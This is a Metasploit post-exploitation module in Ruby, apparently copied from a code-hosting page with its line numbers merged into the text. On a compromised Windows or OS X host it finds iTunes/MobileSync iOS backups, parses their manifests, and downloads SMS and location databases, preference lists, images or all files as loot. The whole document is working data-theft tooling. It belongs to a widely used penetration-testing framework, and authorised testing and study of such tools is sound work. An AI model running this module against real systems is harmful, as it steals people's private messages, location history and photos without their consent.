Path: blob/master/modules/post/multi/gather/apple_ios_backup.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Post::File8include Msf::Post::Windows::Version910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Apple iOS MobileSync Backup File Collection',15'Description' => %q{ This module will collect sensitive files from any on-disk iOS device backups },16'License' => MSF_LICENSE,17'Author' => [18'hdm',19'bannedit' # Based on bannedit's pidgin_cred module structure20],21'Platform' => %w[osx win],22'SessionTypes' => ['meterpreter', 'shell'],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26core_channel_eof27core_channel_open28core_channel_read29core_channel_write30stdapi_sys_config_getenv31stdapi_sys_config_getuid32]33}34},35'Notes' => {36'Stability' => [CRASH_SAFE],37'SideEffects' => [],38'Reliability' => []39}40)41)42register_options(43[44OptBool.new('DATABASES', [false, 'Collect all database files? (SMS, Location, etc)', true]),45OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),46OptBool.new('IMAGES', [false, 'Collect all image files?', false]),47OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])48]49)50end5152#53# Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms54#55#56def run57case session.platform58when 'osx'59@platform = :osx60paths = enum_users_unix61when 'windows'62@platform = :windows63drive = session.sys.config.getenv('SystemDrive')64version = get_version_info6566if version.build_number >= Msf::WindowsVersion::Vista_SP067@appdata = '\\AppData\\Roaming'68@users = drive + '\\Users'69else70@appdata = '\\Application Data'71@users = drive + '\\Documents and Settings'72end7374if session.type != 'meterpreter'75print_error 'Only meterpreter sessions are supported on windows hosts'76return77end78paths = enum_users_windows79else80print_error "Unsupported platform #{session.platform}"81return82end8384if paths.empty?85print_status('No users found with an iTunes backup directory')86return87end8889process_backups(paths)90end9192def enum_users_unix93if @platform == :osx94home = '/Users/'95else96home = '/home/'97end9899if got_root?100userdirs = []101session.shell_command("ls #{home}").gsub(/\s/, "\n").split("\n").each do |user_name|102userdirs << home + user_name103end104userdirs << '/root'105else106userdirs = [ home + whoami ]107end108109backup_paths = []110userdirs.each do |user_dir|111output = session.shell_command("ls #{user_dir}/Library/Application\\ Support/MobileSync/Backup/")112if output =~ /No such file/i113next114else115print_status("Found backup directory in: #{user_dir}")116backup_paths << "#{user_dir}/Library/Application\\ Support/MobileSync/Backup/"117end118end119120check_for_backups_unix(backup_paths)121end122123def check_for_backups_unix(backup_dirs)124dirs = []125backup_dirs.each do |backup_dir|126print_status("Checking for backups in #{backup_dir}")127session.shell_command("ls #{backup_dir}").each_line do |dir|128next if dir == '.' || dir == '..'129130if dir =~ /^[0-9a-f]{16}/i131print_status("Found #{backup_dir}\\#{dir}")132dirs << ::File.join(backup_dir.chomp, dir.chomp)133end134end135end136dirs137end138139def enum_users_windows140paths = Array.new141142if got_root?143begin144session.fs.dir.foreach(@users) do |path|145next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i146147bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"148dirs = check_for_backups_win(bdir)149dirs.each { |dir| paths << dir } if dirs150end151rescue ::Rex::Post::Meterpreter::RequestError152# Handle the case of the @users base directory is not accessible153end154else155print_status "Only checking #{whoami} account since we do not have SYSTEM..."156path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"157dirs = check_for_backups_win(path)158dirs.each { |dir| paths << dir } if dirs159end160return paths161end162163def check_for_backups_win(bdir)164dirs = []165begin166print_status("Checking for backups in #{bdir}")167session.fs.dir.foreach(bdir) do |dir|168if dir =~ /^[0-9a-f]{16}/i169print_status("Found #{bdir}\\#{dir}")170dirs << "#{bdir}\\#{dir}"171end172end173rescue Rex::Post::Meterpreter::RequestError174# Handle base directories that do not exist175end176dirs177end178179def process_backups(paths)180paths.each { |path| process_backup(path) }181end182183def process_backup(path)184print_status("Pulling data from #{path}...")185186mbdb_data = ''187mbdx_data = ''188189print_status("Reading Manifest.mbdb from #{path}...")190if session.type == 'shell'191mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")192if mbdb_data =~ /No such file/i193print_status("Manifest.mbdb not found in #{path}...")194return195end196else197mfd = session.fs.file.new("#{path}\\Manifest.mbdb", 'rb')198mbdb_data << mfd.read until mfd.eof?199mfd.close200end201202print_status("Reading Manifest.mbdx from #{path}...")203if session.type == 'shell'204mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")205if mbdx_data =~ /No such file/i206print_status("Manifest.mbdx not found in #{path}...")207return208end209else210mfd = session.fs.file.new("#{path}\\Manifest.mbdx", 'rb')211mbdx_data << mfd.read until mfd.eof?212mfd.close213end214215manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)216217patterns = []218patterns << /\.db$/i if datastore['DATABASES']219patterns << /\.plist$/i if datastore['PLISTS']220patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']221patterns << /.*/ if datastore['EVERYTHING']222223done = {}224patterns.each do |pat|225manifest.entries.each_pair do |fname, info|226next if done[fname]227next if info[:filename].to_s !~ pat228229print_status("Downloading #{info[:domain]} #{info[:filename]}...")230231begin232fdata = ''233if session.type == 'shell'234fdata = session.shell_command("cat #{path}/#{fname}")235else236mfd = session.fs.file.new("#{path}\\#{fname}", 'rb')237fdata << mfd.read until mfd.eof?238mfd.close239end240bname = info[:filename] || 'unknown.bin'241rname = info[:domain].to_s + '_' + bname242rname = rname.gsub(%r{/|\\}, '.').gsub(/\s+/, '_').gsub(/[^A-Za-z0-9._]/, '').gsub(/_+/, '_')243ctype = 'application/octet-stream'244245store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}")246rescue ::Interrupt247raise $ERROR_INFO248rescue StandardError => e249print_error("Failed to download #{fname}: #{e.class} #{e}")250end251252done[fname] = true253end254end255end256257def got_root?258case @platform259when :windows260if session.sys.config.getuid =~ /SYSTEM/261return true262else263return false264end265else # unix, bsd, linux, osx266ret = whoami267if ret =~ /root/268return true269else270return false271end272end273end274275def whoami276if @platform == :windows277session.sys.config.getenv('USERNAME')278else279session.shell_command('whoami').chomp280end281end282end283284285